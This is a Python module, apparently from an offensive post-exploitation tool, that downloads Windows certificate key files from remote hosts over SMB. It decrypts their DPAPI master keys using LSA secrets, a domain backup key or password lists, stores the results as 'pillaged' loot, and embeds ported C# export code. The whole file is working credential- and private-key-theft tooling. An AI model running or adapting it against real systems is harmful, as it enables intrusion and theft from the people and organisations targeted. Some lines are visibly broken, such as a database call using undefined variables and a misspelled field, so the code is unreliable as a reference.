import ntpath,copy import LnkParse3 from lib.toolbox import bcolors from lib.fileops import MyFileOps from lib.dpapi import * '''decryption info comes from From Triage.cs of SharpDPAPI - HarmJ0y <3''' class certificates(): def __init__(self,smb,myregops,myfileops,logger,options,db,users): self.myregops = myregops self.myfileops = myfileops self.logging = logger self.options = options self.db = db self.users = users self.smb = smb def run(self): self.get_files() #self.process_files() #self.decrypt_all() def get_files(self): self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Certificates Secrets {bcolors.ENDC}") blacklist = ['.', '..'] user_directories = [("Users\\{username}\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", "*",False), ("Users\\{username}\\AppData\\Roaming\\Microsoft\\Crypto\\Keys","*",True)]#(Path,mask,cng) machine_directories = [("ProgramData\\Microsoft\\Crypto\\Keys\\", '*',True), ("ProgramData\\Microsoft\\Crypto\\SystemKeys\\", '*',True), ("Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\Keys",'*', True), #("ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\", '*'), #("ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\", '*'), ("Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", '*',False), ("ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", '*',False)] for user in self.users: self.logging.debug( f"[{self.options.target_ip}] Looking for {user.username} ") if user.username == 'MACHINE$': directories_to_use = machine_directories else: directories_to_use = user_directories for info in directories_to_use: my_dir, my_mask,cng = info tmp_pwd = my_dir.format(username=user.username) self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} Certificates in {tmp_pwd} with mask {my_mask}") for mask in my_mask: my_directory = self.myfileops.do_ls(tmp_pwd, mask, display=False) for infos in my_directory: longname, is_directory = infos self.logging.debug("ls returned file %s" % longname) if longname not in blacklist and not is_directory: try: # Downloading file localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=False) self.process_file(localfile,user,longname,cng) except Exception as ex: self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {localfile}{bcolors.ENDC}") self.logging.debug(ex) elif longname not in blacklist and is_directory: tmp_pwd2 = ntpath.join(tmp_pwd, longname) my_directory2 = self.myfileops.do_ls(tmp_pwd2, my_mask, display=False) for infos2 in my_directory2: longname2, is_directory2 = infos2 if longname2 not in blacklist and not is_directory2: try: # Downloading file localfile = self.myfileops.get_file(ntpath.join(tmp_pwd2, longname2), allow_access_error=False) self.process_file(localfile, user,longname2,cng) except Exception as ex: self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {localfile}{bcolors.ENDC}") self.logging.debug(ex) def process_file(self,localfile,user,longname,cng): if user.username == 'MACHINE$': my_user_type = 'MACHINE' else: my_user_type = 'DOMAIN' try: try: self.logging.debug("Opening CERT file %s" % localfile) fp = open(localfile, 'rb') data = fp.read() fp.close() except Exception as ex: self.logging.debug("Exception in certificate.py readFile ") self.logging.debug(ex) if cng==True: mycert = CngCertBlob(data) else:#CAPI mycert = CapiCertBlob(data) blob = mycert['Blob'] myoptions = copy.deepcopy(self.options) myoptions.file = localfile # Masterkeyfile to parse myoptions.masterkeys = None # user.masterkeys_file myoptions.key = None mydpapi = DPAPI(myoptions, self.logging) guid = mydpapi.find_Blob_masterkey(raw_data=blob) self.logging.debug(f"[{self.options.target_ip}] Looking for {longname} masterkey : {guid}") if guid != None: masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type) if masterkey != None: if masterkey['status'] == 'decrypted': mydpapi.options.key = masterkey['key'] if cng == True: cred_data = mydpapi.decrypt_blob(entropy=b"xT5rZW5qVVbrvpuA") else: cred_data = mydpapi.decrypt_blob() if cred_data != None: self.logging.debug( f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Certificate {longname}{bcolors.ENDC}") user.files[longname]['status'] = 'decrypted' user.files[longname]['data'] = cred_data self.process_decrypted_cert(user,user.files[longname],cng) # cred_data,user,localfile,my_blob_type) else: self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}") else: self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}") else: self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") else: self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") self.db.add_credz(credz_type='XXXXX',credz_username=username.decode('utf-8'),redz_password=ntlm.decode('utf-8'),credz_target='',credz_path=localfile,pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=username) return 1 except Exception as ex: self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ProcessFile {localfile}{bcolors.ENDC}") self.logging.debug(ex) def process_decrypted_cert(self,user,user_file,cng): return 1 #if cng: # ConvertRsaBlobToRsaFullBlob(user_file['data']) ''' var certificate = new ExportedCertificate(); if ((privKeyBytes != null) && (privKeyBytes.Length > 0)) { Tuple decryptedRSATuple = null; if (cng) { decryptedRSATuple = ParseDecCngCertBlob(privKeyBytes); } else { decryptedRSATuple = ParseDecCapiCertBlob(privKeyBytes); } var PrivatePKCS1 = decryptedRSATuple.First; var PrivateXML = decryptedRSATuple.Second; if (alwaysShow) { Console.WriteLine(" File : {0}", fileName); Console.WriteLine(statusMessage); certificate.PrivateKey = PrivatePKCS1; } X509Certificate2Collection certCollection; try { foreach (var storeLocation in new Enum[] { StoreLocation.CurrentUser, StoreLocation.LocalMachine }) { X509Store store = new X509Store((StoreLocation)storeLocation); store.Open(OpenFlags.ReadOnly | OpenFlags.OpenExistingOnly); certCollection = store.Certificates; store.Close(); foreach (var cert in certCollection) { var PublicXML = cert.PublicKey.Key.ToXmlString(false).Replace("", ""); //There are cases where systems have a lot of "orphaned" private keys. We are only grabbing private keys that have a matching modulus with a cert in the store //https://forums.iis.net/t/1224708.aspx?C+ProgramData+Microsoft+Crypto+RSA+MachineKeys+is+filling+my+disk+space //https://superuser.com/questions/538257/why-are-there-so-many-files-in-c-programdata-microsoft-crypto-rsa-machinekeys if (PrivateXML.Contains(PublicXML)) { // only display all of the status messages if we have a decrypted private key that corresponds to a cert found in a store location if (!alwaysShow) { Console.WriteLine(" File : {0}", fileName); Console.WriteLine(statusMessage); } certificate.Issuer = cert.Issuer; certificate.Subject = cert.Subject; certificate.ValidDate = cert.NotBefore.ToString(); certificate.ExpiryDate = cert.NotAfter.ToString(); certificate.Thumbprint = cert.Thumbprint; foreach (var ext in cert.Extensions) { if (ext.Oid.FriendlyName == "Enhanced Key Usage") { var extUsages = ((X509EnhancedKeyUsageExtension)ext).EnhancedKeyUsages; if (extUsages.Count > 0) { foreach (var extUsage in extUsages) { var eku = new Tuple(extUsage.FriendlyName, extUsage.Value); certificate.EKUs.Add(eku); } } } } string b64cert = Convert.ToBase64String(cert.Export(X509ContentType.Cert)); int BufferSize = 64; int Index = 0; var sb = new StringBuilder(); sb.AppendLine("-----BEGIN CERTIFICATE-----"); for (var i = 0; i < b64cert.Length; i += 64) { sb.AppendLine(b64cert.Substring(i, Math.Min(64, b64cert.Length - i))); Index += BufferSize; } sb.AppendLine("-----END CERTIFICATE-----"); certificate.PrivateKey = PrivatePKCS1; certificate.PublicCertificate = sb.ToString(); //// Commented code for pfx generation due to MS not giving ////a dispose method < .NET4.6 https://snede.net/the-most-dangerous-constructor-in-net/ //// X509Certificate2 certificate = new X509Certificate2(cert.RawData); //// certificate.PrivateKey = ; //// string filename = string.Format("{0}.pfx", cert.Thumbprint); //// File.WriteAllBytes(filename, certificate.Export(X509ContentType.Pkcs12, (string)null)); //// certificate.Reset(); //// certificate = null; //// 2021-01-04: If we want to do it, it would be: //X509Certificate2 x509 = new X509Certificate2(cert.RawData); //Convert.ToBase64String(x509.Export(X509ContentType.Pkcs12, (string)null)); store.Close(); store = null; break; } } certCollection.Clear(); if (store != null) { store.Close(); store = null; } } } catch (Exception ex) { Console.WriteLine("\r\n[X] An exception occurred {0}", ex.Message); } } return certificate; }''' def get_masterkey(self, user, guid, type): guid = guid.lower() if guid not in user.masterkeys_file: self.logging.debug( f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found") return -1 else: self.logging.debug( f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} Found") if user.masterkeys_file[guid]['status'] == 'decrypted': self.logging.debug( f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted") return user.masterkeys_file[guid] elif user.masterkeys_file[guid]['status'] == 'encrypted': return self.decrypt_masterkey(user, guid, type) def decrypt_masterkey(self, user, guid, type=''): self.logging.debug( f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} of type {type} (type_validated={user.type_validated}/user.type={user.type})") guid = guid.lower() if guid not in user.masterkeys_file: self.logging.debug( f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found") return -1 localfile = user.masterkeys_file[guid]['path'] if user.masterkeys_file[guid]['status'] == 'decrypted': self.logging.debug( f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted") return user.masterkeys_file[guid] else: if user.type_validated == True: type = user.type if type == 'MACHINE': # Try de decrypt masterkey file for key in self.machine_key: self.logging.debug( f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE_Key from LSA {key.decode('utf-8')}") try: myoptions = copy.deepcopy(self.options) myoptions.sid = None # user.sid myoptions.username = user.username myoptions.pvk = None myoptions.file = localfile # Masterkeyfile to parse myoptions.key = key.decode("utf-8") mydpapi = DPAPI(myoptions, self.logging) decrypted_masterkey = mydpapi.decrypt_masterkey() if decrypted_masterkey != None and decrypted_masterkey != -1: # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}[...] Maserkey {bcolors.ENDC}{localfile} {bcolors.ENDC}: {decrypted_masterkey}" ) user.masterkeys_file[guid]['status'] = 'decrypted' user.masterkeys_file[guid]['key'] = decrypted_masterkey # user.masterkeys[localfile] = decrypted_masterkey user.type = 'MACHINE' user.type_validated = True self.logging.debug( f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, status=user.masterkeys_file[guid]['status'], decrypted_with="MACHINE-KEY", decrypted_value=decrypted_masterkey, pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=user.username) return user.masterkeys_file[guid] else: self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}") except Exception as ex: self.logging.debug( f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}") self.logging.debug(ex) else: if user.type_validated == False: self.decrypt_masterkey(user, guid, type='MACHINE-USER') elif type == 'MACHINE-USER': # Try de decrypt masterkey file for key in self.user_key: self.logging.debug( f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE-USER_Key from LSA {key.decode('utf-8')}") # and SID %s , user.sid )) try: # key1, key2 = deriveKeysFromUserkey(tsid, userkey) myoptions = copy.deepcopy(self.options) myoptions.file = localfile # Masterkeyfile to parse if user.is_adconnect is True: myoptions.key = key.decode("utf-8") myoptions.sid = user.sid else: myoptions.key = key.decode("utf-8") # None myoptions.sid = None # user.sid myoptions.username = user.username myoptions.pvk = None mydpapi = DPAPI(myoptions, self.logging) decrypted_masterkey = mydpapi.decrypt_masterkey() if decrypted_masterkey != -1 and decrypted_masterkey != None: # self.logging.debug(f"[{self.options.target_ip}] Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}") user.masterkeys_file[guid]['status'] = 'decrypted' user.masterkeys_file[guid]['key'] = decrypted_masterkey # user.masterkeys[localfile] = decrypted_masterkey user.type = 'MACHINE-USER' user.type_validated = True self.logging.debug( f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, status=user.masterkeys_file[guid]['status'], decrypted_with="MACHINE-USER", decrypted_value=decrypted_masterkey, pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=user.username) return user.masterkeys_file[guid] else: self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}") except Exception as ex: self.logging.debug( f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}") self.logging.debug(ex) else: if user.type_validated == False and not user.is_adconnect: return self.decrypt_masterkey(user, guid, type='DOMAIN') elif type == 'DOMAIN' and self.options.pvk is not None: # For ADConnect if user.is_adconnect is True: return self.decrypt_masterkey(user, guid, type='MACHINE-USER') # Try de decrypt masterkey file self.logging.debug( f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey {self.options.pvk}") try: myoptions = copy.deepcopy(self.options) myoptions.file = localfile # Masterkeyfile to parse myoptions.username = user.username myoptions.sid = user.sid mydpapi = DPAPI(myoptions, self.logging) decrypted_masterkey = mydpapi.decrypt_masterkey() if decrypted_masterkey != -1 and decrypted_masterkey != None: # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: %s" % decrypted_masterkey) user.masterkeys_file[guid]['status'] = 'decrypted' user.masterkeys_file[guid]['key'] = decrypted_masterkey # user.masterkeys[localfile] = decrypted_masterkey user.type = 'DOMAIN' user.type_validated = True self.logging.debug( f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for user {bcolors.OKBLUE} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, status=user.masterkeys_file[guid]['status'], decrypted_with="DOMAIN-PVK", decrypted_value=decrypted_masterkey, pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=user.username) return user.masterkeys_file[guid] else: self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Domain Backupkey {self.options.pvk} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid} -> Checking with Local user with credz{bcolors.ENDC}") if user.type_validated == False: return self.decrypt_masterkey(user, guid, 'LOCAL') except Exception as ex: self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey (most likely user is only local user) -> Running for Local user with credz{bcolors.ENDC}") self.logging.debug(f"exception was : {ex}") if user.type_validated == False: return self.decrypt_masterkey(user, guid, 'LOCAL') # type==LOCAL # On a des credz if len(self.options.credz) > 0 and user.masterkeys_file[guid][ 'status'] != 'decrypted': # localfile not in user.masterkeys: self.logging.debug( f"[{self.options.target_ip}] [...] Testing decoding {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with credz") for username in self.options.credz: if username in user.username: # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ? self.logging.debug( f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[user.username])} credz for user {user.username}") # for test_cred in self.options.credz[user.username]: try: self.logging.debug( f"[{self.options.target_ip}]Trying to decrypt {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with user SID {user.sid} and {len(self.options.credz[username])}credential(s) from credz file") myoptions = copy.deepcopy(self.options) myoptions.file = localfile # Masterkeyfile to parse # myoptions.password = self.options.credz[username] myoptions.sid = user.sid myoptions.pvk = None myoptions.key = None mydpapi = DPAPI(myoptions, self.logging) decrypted_masterkey = mydpapi.decrypt_masterkey(passwords=self.options.credz[username]) if decrypted_masterkey != -1 and decrypted_masterkey != None: # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}") user.masterkeys_file[guid]['status'] = 'decrypted' user.masterkeys_file[guid]['key'] = decrypted_masterkey # user.masterkeys[localfile] = decrypted_masterkey user.type = 'LOCAL' user.type_validated = True self.logging.debug( f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for User {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, status=user.masterkeys_file[guid]['status'], decrypted_with=f"Password:{self.options.credz[username]}", decrypted_value=decrypted_masterkey, pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=user.username) return user.masterkeys_file[guid] else: self.logging.debug( f"[{self.options.target_ip}] error decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with {len(self.options.credz[username])} passwords from user {username} in cred list") except Exception as ex: self.logging.debug( f"[{self.options.target_ip}] Except decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey with {len(self.options.credz[username])} passwords from user {username} in cred list") self.logging.debug(ex) else: self.logging.debug( f"[{self.options.target_ip}] {bcolors.FAIL}no credential in credz file for user {user.username} and masterkey {guid} {bcolors.ENDC}") # on a pas su le dechiffrer, mais on conseve la masterkey '''if localfile not in user.masterkeys: user.masterkeys[localfile] = None''' if user.masterkeys_file[guid]['status'] == 'encrypted': user.masterkeys_file[guid]['status'] = 'decryption_failed' self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, status=user.masterkeys_file[guid]['status'], decrypted_with='', decrypted_value='', pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=user.username) return -1 elif user.masterkeys_file[guid]['status'] == 'decrypted': # Should'nt go here return user.masterkeys_file[guid]